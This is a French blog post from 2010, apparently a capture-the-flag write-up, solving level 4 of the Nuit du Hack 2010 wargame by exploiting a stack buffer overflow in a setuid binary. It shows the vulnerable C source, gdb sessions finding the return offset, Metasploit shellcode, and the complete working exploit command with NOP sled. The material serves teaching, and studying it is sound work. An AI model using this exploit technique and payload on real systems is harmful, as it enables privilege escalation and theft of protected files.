mercredi 14 juillet 2010

level4 wargame NDH2010 - tutoriel exploitation d'un buffer-overflow -

Cet article décrit la résolution du wargame level 4 de la nuit du hack 2010. Résoudre cette épreuve revient à exploiter un classique buffer overflow.



Solution

./level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')

Mode opératoire

analyse

Listons le contenu du répertoire
level4@srv-public:~$ ls -all
total 36
dr-xr-x---  2 level4 level4 4096  1 janv.  2008 .
drwxr-x--x 24 root   root   4096 18 juin  18:19 ..
lrwxrwxrwx  1 root   root      9 28 mai   16:09 .bash_history -> /dev/null
-rw-r--r--  1 root   root    220 12 mai    2008 .bash_logout
-rw-r--r--  1 root   root   3116 12 mai    2008 .bashrc
-r-sr-x---  1 level5 level4 5149 16 juin  11:06 level4
-rw-------  1 level4 level4  663 16 juin  10:55 level4.c
-r--r-----  1 level4 level4    7  1 janv.  2008 passwd
-rw-r--r--  1 root   root    675 12 mai    2008 .profile
Voyons le fichier level4.c
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

// gcc -o level4 level4.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int checkIdent(char *login, char *pwd)
{
    char buffer[8] = {'\0'};
    int i;

    strcpy(buffer, login);
    buffer[strlen("guest1")] = '\0';

    if(strcmp(buffer, "guest1"))
        return 0;

    strcpy(buffer, pwd);
    buffer[strlen("guest1")] = '\0';

    if(strcmp(buffer, "guest1"))
        return 0;

    return 1;
}

int main(int argc, char *argv[])
{
    if(argc != 3) {
        printf("%s \n", argv[0]);
        exit(-1);
    }

    if(checkIdent(argv[1], argv[2])) {
        printf("Logged :)\n");
        exit(1);
    }

    printf("Oh noes\n");
    return 0;
}
Que nous apprend-il?

Tout d'abord, le programme a du être compilé avec les options:
-fno-stack-protector = le stack smashing protector est désactivé <=> pas de canary avec l'adresse de retour
-z execstack = rend la stack exécutable
-mpreferred-stack-boundary=2 = aligne la stack sur des mots de 2 octets (au lieu de 4)
Nous pourrons donc exécuter un shellcode sur la pile et écraser une adresse de retour pour l'exploitation (voir références à la fin de l'article pour davantage d'informations sur ces protections).

Les buffer sont initialisés dans la fonction checkIdent(). Nous utiliserons donc l'adresse de retour de cette fonction pour détourner le flux d'exécution. En bref, il nous faudra écraser l'EIP stocké sur la pile à l'appel de cette fonction par l'adresse de notre shellcode.

Le programme effectue 2 strcpy(), l'un pour passwd, l'autre pour login, sans vérifier la taille du buffer. Cependant, le 6eme caractère du buffer est écrasé à posteriori pour y placer un octet NULL ( buffer[strlen("guest1")] = '\0'; ). Nous ne pourrons donc pas utiliser les 7 premiers caractères du buffer pour notre shellcode.

le login est placé en premier dans le buffer, puis le passwd. Nous allons donc placer notre exploit dans passwd.

Le programme étant exécuté en EUID level5, il nous suffit donc d'exécuter un shellcode "cat ../level5/passwd"

Vérifions tout de même le buffer overflow.

level4@srv-public:~$ ./level4 guest1 aaaaaaaaaaaaaaa
Oh noes
Erreur de segmentation

level4@srv-public:~$ ./level4 guest1 aaaaaaaaaaaaaaaa
Erreur de segmentation
Sur le pseudo de même.:
level4@srv-public:~$ ./level4 aaaaaaaaaaaaaaa guest1
Oh noes
Erreur de segmentation

level4@srv-public:~$ ./level4 aaaaaaaaaaaaaaaa guest1
Erreur de segmentation
Visiblement, nous manquons de place dans le buffer. Nous devrons donc le placer après l'adresse de retour.


création du shellcode

Utilisons Metasploit pour générer notre shellcode:

astuce: générer le shellcode avec Metasploit



Ce qui nous donne encodé en alpha-upper:
/*
 * linux/x86/exec - 180 bytes
 * http://www.metasploit.com
 * Encoder: x86/alpha_upper
 * PrependSetresuid=false, PrependSetreuid=false,
 * PrependSetuid=false, PrependChrootBreak=false,
 * AppendExit=false, CMD=cat ../level5/passwd
 */
unsigned char buf[] =
"\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43"
"\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50"
"\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48"
"\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42"
"\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50"
"\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46"
"\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45"
"\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43"
"\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41";
Ce shellcode fait 180 octets, cette taille nous sera nécessaire un peu plus loin.

où placer notre payload?

Le staff nous fournit un accès à gdb. Utilisons le pour trouver l'adresse de retour dans la fonction checkIdent(). (remarque: en lancant deux fois gdb, nous constatons que les adresses des opcodes sont fixes: l'ASLR n'est pas activé.)
$ gdb ./level4

astuce: utiliser ...AABBBCAAA... pour trouver la taille du buffer avant l'adresse de retour et au passage vérifier que la pile est en little endian


Cherchons d'abord combien il y  a d'octets avant l'adresse de retour. Notre buffer faisant 8 octet et ebp faisant 4 octets, commencons à 12 (8+4) :
(gdb) run guest1 $(perl -e 'print "A"x12 . "BBBC"')
Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x12 . "BBBC"')

Program received signal SIGSEGV, Segmentation fault.
0x08048515 in checkIdent ()

Nous ne retrouvons pas nos caractères BBBC. Recommencons avec 2 octets de plus:
(gdb) run guest1 $(perl -e 'print "A"x14 . "BBBC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x14 . "BBBC"')

Program received signal SIGSEGV, Segmentation fault.
0x08004342 in ?? ()

Nous nous approchons.
(gdb) run guest1 $(perl -e 'print "A"x16 . "BBBC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "BBBC"')

Program received signal SIGSEGV, Segmentation fault.
0x43424242 in ?? ()

Nous retrouvons donc BBBC.

Remarque: la pile étant en little-endian, le C (0x43) est placé en premier. Il ne faudra pas oublier d'inverser les octets de l'adresse de retour que nous aurons trouvée. Le fait que le compilateur ait octroyé plus d'octets que nécessaires aux buffers est classique.

récupérer l'adresse de retour

Voyons le code assembleur de la fonction checkIdent() afin de savoir où placer un breakpoint:
(gdb) disassemble checkIdent
Dump of assembler code for function checkIdent:
   0x08048494 <+0>:    push   %ebp
   0x08048495 <+1>:    mov    %esp,%ebp
   0x08048497 <+3>:    sub    $0x14,%esp
   0x0804849a <+6>:    movl   $0x0,-0xc(%ebp)
   0x080484a1 <+13>:    movl   $0x0,-0x8(%ebp)
   0x080484a8 <+20>:    mov    0x8(%ebp),%eax
   0x080484ab <+23>:    mov    %eax,0x4(%esp)
   0x080484af <+27>:    lea    -0xc(%ebp),%eax
   0x080484b2 <+30>:    mov    %eax,(%esp)
   0x080484b5 <+33>:    call   0x804838c
   0x080484ba <+38>:    movb   $0x0,-0x6(%ebp)
   0x080484be <+42>:    movl   $0x8048650,0x4(%esp)
   0x080484c6 <+50>:    lea    -0xc(%ebp),%eax
   0x080484c9 <+53>:    mov    %eax,(%esp)
   0x080484cc <+56>:    call   0x80483bc
   0x080484d1 <+61>:    test   %eax,%eax
   0x080484d3 <+63>:    je     0x80484dc
   0x080484d5 <+65>:    mov    $0x0,%eax
   0x080484da <+70>:    jmp    0x8048515
   0x080484dc <+72>:    mov    0xc(%ebp),%eax
   0x080484df <+75>:    mov    %eax,0x4(%esp)
   0x080484e3 <+79>:    lea    -0xc(%ebp),%eax
---Type to continue, or q to quit---
   0x080484e6 <+82>:    mov    %eax,(%esp)
   0x080484e9 <+85>:    call   0x804838c
   0x080484ee <+90>:    movb   $0x0,-0x6(%ebp)
   0x080484f2 <+94>:    movl   $0x8048650,0x4(%esp)
   0x080484fa <+102>:    lea    -0xc(%ebp),%eax
   0x080484fd <+105>:    mov    %eax,(%esp)
   0x08048500 <+108>:    call   0x80483bc
   0x08048505 <+113>:    test   %eax,%eax
   0x08048507 <+115>:    je     0x8048510
   0x08048509 <+117>:    mov    $0x0,%eax
   0x0804850e <+122>:    jmp    0x8048515
   0x08048510 <+124>:    mov    $0x1,%eax
   0x08048515 <+129>:    leave
   0x08048516 <+130>:    ret  
End of assembler dump.

astuce: placer un breakpoint sur l'instruction RET de la fonction où le buffer est déclaré

Placons un breakpoint à l'instruction <+130>:
(gdb) break * checkIdent+130
Breakpoint 1 at 0x8048516
A présent, lancons le programme. Attention! Il faut que la taille de nos arguments pour l'essai soit la même que lorsque nous utiliserons notre shellcode. En effet, nos arguments sont empilés avant l'appel de la fonction. Si nous utilisions une taille d'argument différente, la pile avant l'adresse de retour serait modifiée et l'adresse de retour que nous obtiendrions serait différente.
Nous avons vu que notre shellcode faisait 180 octets. L'adresse de retour fait 4 octets. Prenons de la marge: 200 octets. Le total est donc de 16 + 4 + 200 + 180 = 400 octets.

remarque: avec une marge de 16 octets, notre shellcode aurait fonctionné sous gdb, mais pas directement avec l'exécutable non débuggé. Or gdb ne permet pas d'obtenir l'EUID level5.

astuce: prévoir une marge large pour sauter sur le shellcode

(gdb) run guest1 $(perl -e 'print "A"x400')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x200')

Breakpoint 1, 0x08048516 in checkIdent ()
avancons d'une instruction:
(gdb) stepi
0x41414141 in ?? ()
et voyons l'adresse du haut de la pile (esp):
(gdb) info registers esp
esp            0xbffff710    0xbffff710
Et voyons l'état de la pile:
(gdb) x/16x $esp-32
0xbffff660:    0x08048505    0xbffff6fc        0x08048650    0x41414141
0xbffff670:    0x41004141    0x41414141    0x41414141    0x41414141
0xbffff680:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff690:    0x41414141    0x41414141    0x41414141    0x41414141
Donc nous aurons la pile suivante :

+--------------+--------+---------+----------+----------------------------------+------------------------+
 |  Ax6         A   Ax9   |   eip    |        NOP                    |    exploit          |
+--------------+--------+---------+----------+----------------------------------+------------------------+
                                    ^           ^                                  ^
         ajout 0x00     0xbffff66c  0xbffff660                     0xbffff728

Vérifions à nouveau avec l'astuce 'BBBC':
(gdb) run guest1 $(perl -e 'print "A"x16 . "BBBC" . "A"x400')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "BBBC" . "A"x400')

Breakpoint 1, 0x08048516 in checkIdent ()
(gdb) stepi
0x43424242 in ?? ()

Remarque: sans l'ajout de la marge, nous aurions obtenu comme adresse de retour:  0xbffff720 ( c'est à dire \x20\xf7\xff\xbf en little endian ); Or, 0x20 en ASCII est égal à 'SP'. Nous aurions du de toute facon décaler de au moins deux octets (l'alignement de la pile est sur 2 octets) et ajouter deux NOP au début de notre shellcode.

astuce: éviter les caractères interdits dans l'adresse de retour ( \x00 et \x20 )

Supprimons notre breakpoint
(gdb) delete 1

A présent, ajoutons notre adresse de retour (nous la choisissons pour qu'elle saute environ au milieu des NOP: 0xbffff710 ), nos NOP et notre shellcode:

(gdb) run guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')
process 28017 is executing new program: /bin/bash
process 28017 is executing new program: /bin/cat
cat: ../level5/passwd: Permission denied

Program exited with code 01.
Ca marche, sauf que gdb n'a pas les droits pour ouvrir le fichier passwd. Quittons gdb:
(gdb) q
et lancons notre shellcode:

./level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')
MOTDEPASSE

Références

- Wikipedia buffer overflow protection - http://en.wikipedia.org/wiki/Buffer_overflow_protection
- fno-stack-protector - http://en.wikipedia.org/wiki/Buffer_overflow_protection
- z execstack - http://linux.die.net/man/8/execstack
- mpreferred-stack-boundary - http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc_2.html
- Nibbles -introduction à gdb - http://nibbles.tuxfamily.org/?p=1121
- Ghosts in the stack - tutoriel buffer overflows - http://ghostsinthestack.org/article-13-les-buffers-overflows.html
- Ghosts in the stack - tutoriel shellcodes - http://ghostsinthestack.org/article-5-les-shellcodes.html

Aucun commentaire:

Enregistrer un commentaire